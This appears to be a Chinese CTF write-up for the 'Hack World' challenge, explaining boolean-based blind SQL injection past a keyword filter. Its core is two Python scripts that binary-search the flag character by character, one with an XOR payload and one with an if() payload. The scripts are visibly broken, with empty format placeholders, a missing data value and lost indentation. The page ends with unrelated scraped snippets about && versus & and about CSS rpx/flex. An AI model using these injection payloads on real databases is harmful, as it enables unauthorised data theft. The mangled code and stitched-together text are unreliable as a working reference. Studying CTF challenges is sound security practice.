hack world
題目直接告訴你flag在flag表中的flag列
只有乙個提交框,正常方法無法注入,已經過濾大部分的sql語句。
接觸python指令碼:
提交框中
輸入 1 將返回hello, glzjin wants a girlfriend.
輸入 2 將返回do you want to be my girlfriend?
輸入其他 數字 將返回error occured when fetch result.
輸入其他 字串 將返回bool(false)
利用不同提交資料,返回不同的結果,可以爆破出flag。
思路一,利用^異或符號:
#二分法查詢
import requests
import time
url = ''
result = ''
for x in range(1,50):
high = 127
low = 32
mid = (high+low)//2 #結果向下取整
while high>low:
payload = "0^" + "(ascii(substr((select(flag)from(flag)),,1))>)".format(x,mid) #格式化函式代入x,mid
data =
html = requests.post(url,data=data).text #抓取頁面元素
time.sleep(0.5)
if "hello" in html:
low = mid+1
else:
high = mid
mid = (low+high)//2
result += chr(int(mid)) #型別轉換,int通過chr返回當前數值對應ascii碼值的字元
print(result)
print("flag:",result)
思路二:利用if(a,1,2)若a為true返回1,flase返回2。
import requests
import time
url = ''
result = ''
for x in range(1,50):
high = 127
low = 32
mid = (high+low)//2 #結果向下取整
while high>low:
payload = "if((ascii(substr((select(flag)from(flag)),,1))>),1,2)".format(x,mid) #格式化函式代入x,mid
data =
html = requests.post(url,data=data).text #抓取頁面元素
time.sleep(0.5)
if "hello" in html:
low = mid+1
else:
high = mid
mid = (low+high)//2
result += chr(int(mid)) #型別轉換,int通過chr返回當前數值對應ascii碼值的字元
print(result)
print("flag:",result)
ctfhub布林注入大體思路與指令碼**與上文接近,但注意構建request.post或者request.get提交表單時,post為(url,data=data),而get為(url,params=data)
Hack World簡單指令碼學習
import requests import time import re url flag for i in range 1,43 flag的字元數為43位 max 127 所有字元總數為127 min 0 for c in range 0,127 s int max min 2 二分法找出正確字...
和 區別和聯絡, 和 區別和聯絡
和 區別和聯絡,和 區別和聯絡,實際專案中,什麼情況用哪種?首先,和 的聯絡 共同點 和 都可以用作 邏輯與 運算子,都是雙目運算子。具體要看使用時的具體條件來決定。無論使用哪種運算子,對最終的運算結果都沒有影響。情況1 當上述的運算元是boolean型別變數時,和 都可以用作邏輯與運算子。情況2 ...
rpx和樣式和class和flex
5 style 靜態的樣式統一寫到 class 中。style 接收動態的樣式,在執行時會進行解析,請盡量避免將靜態的樣式寫進 style 中,以免影響渲染速度。例 6 class 用於指定樣式規則,其屬性值是樣式規則中類選擇器名 樣式類名 的集合,樣式類名不需要帶上.樣式類名之間用空格分隔。關於f...